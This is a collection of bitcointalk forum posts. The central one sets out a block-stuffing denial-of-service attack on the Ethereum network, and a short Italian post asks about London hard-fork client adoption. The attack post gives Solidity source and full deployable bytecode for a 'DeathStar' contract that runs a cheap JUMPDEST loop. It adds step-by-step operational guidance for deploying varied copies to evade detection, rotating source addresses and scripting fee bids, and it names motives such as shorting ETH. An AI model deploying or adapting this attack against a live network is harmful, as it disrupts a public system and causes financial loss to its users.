1) launch your own geth node: geth --syncmode "light" --mainnet It will instantly synchronize because it downloads the previous blockchain. We will be necessarily autonomous and not pass trough proprietary API’s that could ban us during the attack. 2) pre-load a certain number of deathStar smart-contracts on the network, each at a different address and with slightly different code (DeathStar_a, DeathStar_b, etc. ), to make it difficult either for mining pools to recognize us or for developer recognise the necessity of a possible hard fork, 3) Find an adequate number of ETH, based on the duration of the attack and the current gas coast in gwei, and pre-load them on a certain number of source addresses. (15,000,000 average block size * (gas cost in gwei + incentive fee (Tip) to be certainly included in hte block)) / 1,000,000,000= cost in ETH for a 15 seconds attack) 4) create a script (python, perl, c, go .... or any language of your choice) that uses RPC calls on geth and does more or less the things summarized here: # if DeathLoop_a stops working, # switch to DeathLoop_b and so on. CalledDeathStar = Deathloop_a
while (newly mined block) { reads the current baseFeePerGas and BlockGasLimit. calculates GasBurned = BlockGasLimit-X (where X is used to leave a small space for other transactions as well, to be decided if X> 0) calculates the transaction fees: MaxFeePerGas (in gwei) = BaseFeePerGas + Tip (where Tip is the percentage that goes to miners, let's say 20%, to be sure to be included in the next block, eventually use MEV techniques to maximize efficiency) create a transaction with gasLimit = GasBurned, MaxFeePerGas, which executes the CalledDeathStar smart contract from a random address selected amongst the origin address list. (the origin address also should vary to avoid being easily recognized and blocked )
# optional while (our transaction is not included in a mined block) { use MEV techniques to check in the mempool the fees of other transactions If higher fees transactions have been loaded Eventually adjust the fees for our transaction by re-entering a transaction with the same nonce and modified fee. } }
5) run the script. Thanks to the guys from the Italian community of bitcointalk.org (filippone, acquafredda, HostFat, jack0m and others) who gave me interesting ideas for the realization of this study. References:[1] ETHEREUM: A SECURE DECENTRALISED GENERALISED TRANSACTION LEDGER[2] The Anatomy of a Block Stuffing Attack[3] A Survey on Ethereum Systems Security: Vulnerabilities, Attacks, and Defenses[4] How to Fix Ethereum’s MEV Problem and Give Traders the Best Price[5] Ethereum is a Dark Forest[6] How Bitcoin and Ethereum solved the Halting Problem differently[7] Why is Bitcoin not Turing complete?
|
|
|
18
|
Alternate cryptocurrencies / Altcoin Discussion / Attacking the Ethereum network: a possible strategy.
|
on: August 27, 2021, 11:11:04 PM
|
Attacking the Ethereum network: a possible strategy.By gbianchi bitcointalk.org Translated by fillippone. This study stems from some observations: - in the Ethereum network there is no concept of a "forbidden smart contract", the network is permissionless, meaning any user could possibly enter any type of code on the network, as long as the code is formally correct and pays for executing and running the code;
- each "smart contract" behaves by design like a virus, that is, if run, automatically executed on all nodes, precisely because of the principle of decentralization, each node must re-execute the code to verify the work done by others and reach a consensus together with all the other nodes;
- the only mechanism to "govern" the execution of the code is the fact that the execution of any smart contract costs gas, proportional to the number of instructions executed and the type of each instruction.
- smart contracts are normally written in Solidity but are then compiled and translated into EVM machine language and Solidity gives the possibility to write directly in EVM assembler language;
- once entered, the code is immutable, so there is no way to “get rid” of the smart contract from the network unless a hard fork-type like what happened with The DAO. But while the hacker of The Dao just exploited a bug in the contract to fund its child DAOs, Ethereum's core architecture is used here, making it really difficult to design a fairly effective hard fork.
Based on these observations, it is possible to design a "DeathStar" smart contract whose execution costs as little as possible, and which "burns" ethers only to compete with the other smart contracts on the various nodes, and obtain as many processing resources as possible, slowing down and stagnating the execution of all other smart contracts. A group of attackers could be incentivized for various reasons to burn ethers to jeopardize the network, for example: - Being supporters of another competing blockchain protocol.
- Organizing a short on Ethereum before the attack, congesting the Ethereum network and short covering at lower prices, covering the initial costs of the attack and eventually profiting from it.
- Cause problems to one or more of the various smart contracts running on Ethereum.
In general, any person or group with sufficient economical and technical means and with any type of interest in the decline of the Ethereum network and/or the smart contracts running there could use this line of attack. DeathStar technical descriptionThe Ethereum yellow paper is the official source of information. Inside there are (among many other things) the description of the EVM (Ethereum Virtual Machine) opcodes and the tables of the gas cost of each opcode. It turns out that each smart contract is compiled and converted into an EVM machine opcode, and from the table "Appendix G FEE SCHEDULE" it is stated that these opcodes have costs ranging from 0 gas (OPcode STOP, RETURN, REVERT) up to 20,000 gas or more for data store opcode, 32,000 gases for CREATE etc. Let us now introduce the concept of average cost per opcode. A smart contract is composed of a set of opcodes that form the smart contract’s logic, therefore functional calls, logical operations, calculations, storage of results, etc. The execution of a smart contract will therefore be the execution of many of these opcodes, with various costs, which ultimately lead to the total cost of the execution. Suppose that a smart contract executes these opcodes: 10 of 3 gases, 5 of 8 gases, one of 700 gases and one of 20,000 gases (storage operations are very expensive). We will therefore have a total cost of 30 + 40 + 700 + 20,000 = 20770 gas for 17 opcodes. The average cost per opcode will therefore be 1221.76 gas. In order to be the most "competitive" smart contract in terms of cost per opcode, DeathStar will have to be designed around an opcode that costs as little as possible, to have the lowest average cost per opcode possible. You cannot use cost 0 opcodes (STOP, RETURN, REVERT) as they all terminate the execution of the smart contract. So let's move on to the only opcode at the cost of 1 gas: JUMPDEST. Jumpdest is an opcode that does almost nothing except "Mark a valid destination for jump". It does not push and/or pop from the stack, it does nothing but set a position where you can jump with a JUMP. The idea is to wrap a series of JUMPDEST opcodes in a loop, in such a way as to lower as much as possible the average cost per opcode to execute this loop, to make it close to 1 gas per opcode, target to which none smart contract that implements some logic will never even remotely arrive. But remember our purpose is not to have a logic (in fact from a processing point of view this code does not produce anything, it has no logic) it is simply to have the lowest possible average cost per opcode, to execute with a certain sum the largest possible number of opcodes that "drain" computing resources from the network. The last note we need to know is that ethereum has a very simple criterion for "breaking" infinite loops (the Turing Halting Problem): it ends them when the funds run out. So by appropriately loading the smart contract with funds, it will continue to run, scaling a gas to opcode (on average) in competition with other much more expensive smart contracts in terms of average cost to opcode, which is exactly the purpose that we were set to: Have a smart contract that burns ethereum at the lowest possible cost competing with others mart running contracts that will have far higher average costs per opcode. A "trick" that helps us to obtain the binary code is that in the old versions of solidity (up to version 0.4) it was possible to enter tags for jump instructions in assembler and that these tags were implemented with Jumpdest opcodes, then using a sole compiler of version 0.4.x the code is compiled in an instant. Coincidentally, this coding technique is no longer possible in new compilers. DeathStar code: [/list] pragma solidity ^0.4.0;
// The presence of the payable modifier means that the function can process transactions with non-zero Ether value. // If a transaction that transfers Ether comes to the contract and calls some function X, // then if this function X does not have the payable modifier, then the transaction will be rejected.
// Add a fake input and ouput value, so simulate a some logic. // Note the final code is never excecuted.
contract DeathStar { function DeathLoop(uint x) public payable returns (bool) { assembly { // jumpdest price 1 gas loop000: loop001: loop002: loop003: loop004: ... loop996: loop997: loop998: loop999: // push address stack+1 price Wverylow=3gas // jmp address stack-1 price Wmid=8gas jump(loop000) }
// fake code never executed if (x > 5) return(true); else return(false); } }
Once compiled, it is shown as: ...
JUMPDEST JUMPDEST JUMPDEST ... JUMPDEST JUMPDEST PUSH2 0x6E JUMP
With 1000 jumpdest (each loopxxx tag: generates a jumpdest) + a push (cost 3 gas) + a jump (cost 8 gas) we have 1002 opcode at 1011 gas the average cost per opcode of the loop is therefore around 1.0089 gas. Assuming a gas cost of 36 Gwei, we have an average cost per instruction of 36.32 Gwei per opcode, i.e. with a single Ethereum we can perform 27,500,000 opcodes. Note that adding more jumpdest lengthens the code but improves the average cost per opcode very marginally, I don't think it's worth it. Binary code of the compiled smart contract: Binary: 6060604052341561000c57fe5b5b6104958061001c6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636e62ff351461003b575bfe5b610051600480803590602001909190505061006b565b604051808215151515815260200191505060405180910390f35b60005b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b61006e565b60009050610464565b5b9190505600a165627a7a72305820b5446b266264bd3c7a82cb31fb01f7458fbd7dd1815773c5a6f5c0bc86dabb8f0029
Thanks to the guys from the Italian community of bitcointalk.org (filippone, acquafredda, HostFat, jack0m and others) who gave me interesting ideas for the realization of this study. References:ETHEREUM: A SECURE DECENTRALISED GENERALISED TRANSACTION LEDGERThe Ethereum Virtual Machine — How does it work?WHAT IS ETHEREUM MINING?Does every node execute the contract code for each transaction?Smart contract execution without making transaction on ethereum blockchainView/Pure Gas usage - Cost gas if called internally by another function?What is the difference between a transaction and a call?Calls vs. transactions in Ethereum smart contractsHow Bitcoin and Ethereum solved the Halting Problem differentlyWhy is Bitcoin not Turing complete?
|
|
|
20
|
Local / Italiano (Italian) / Stato DISASTROSO rete ethereum
|
on: August 11, 2021, 12:37:07 PM
|
Scusate, sono un po' OT (parlo di ethereum e non Bitcoin) ma l'argomento potrebbe essere interessante. Premesso che non seguo piu' ethereum da molto tempo, con l'hard fork london, in una sola botta sono state inserite una serie di innovazioni tecniche che in passato avrebbero quasi certamente causato degli split in piu' chain (e quindi la nascita di nuove coin) EIP-1559: Fee market change for ETH 1.0 chain EIP-3198: BASEFEE opcode EIP-3529: Reduction in refunds EIP-3541: Reject new contracts starting with the 0xEF byte EIP-3554: Difficulty Bomb Delay to December 1st 2021 Come si vede sono tutte questioni molto delicate, che apparentemente hanno causato poche discussioni e tantomeno lo split della chain. Ho provato ad approfondire un po' cosa e' davvero successo guardando i dati sul sito https://ethernodes.org/dalla prima pagina risuta che esistono (adesso) 4668 nodi attivi. dalla pagina ufficiale dell'aggiornamento del fork https://blog.ethereum.org/2021/07/15/london-mainnet-announcement/queste risultano le versioni dei software compatibili al fork London: Client Version Number Download Link go-ethereum (geth) 1.10.5 1.10.6 Download Nethermind 1.10.77 1.10.79 Download Erigon (f.k.a. TurboGeth) 2021.07.03-alpha 2021.07.04-alpha Download Besu 21.7.1 21.7.2 Download OpenEthereum (f.k.a. Parity) v3.3.0-rc.4 Download EthereumJS VM v5.5.0 Download
Se guardiamo il client piu' usato che e' geth risulta che ce ne sono (adesso) 3400, ma solamente 2400 sono aggiornati ad una release adeguata ossia la 1.10.6 quindi 1000 client, ossia il 29% circa (percentuale non certo marginale) non sono aggiornati e quindi dovrebbero rigettare i blocchi London. E visto che una modifica riguarda il trattamento delle fee, e' una modifica che si riperquote su TUTTI i blocchi. Insomma, tecnicamente la cosa non mi torna. Qualuno segue ethereum piu' da vicino e sa darmi qualche ragguaglio in merito a queste discrepanze?
|
|
|
|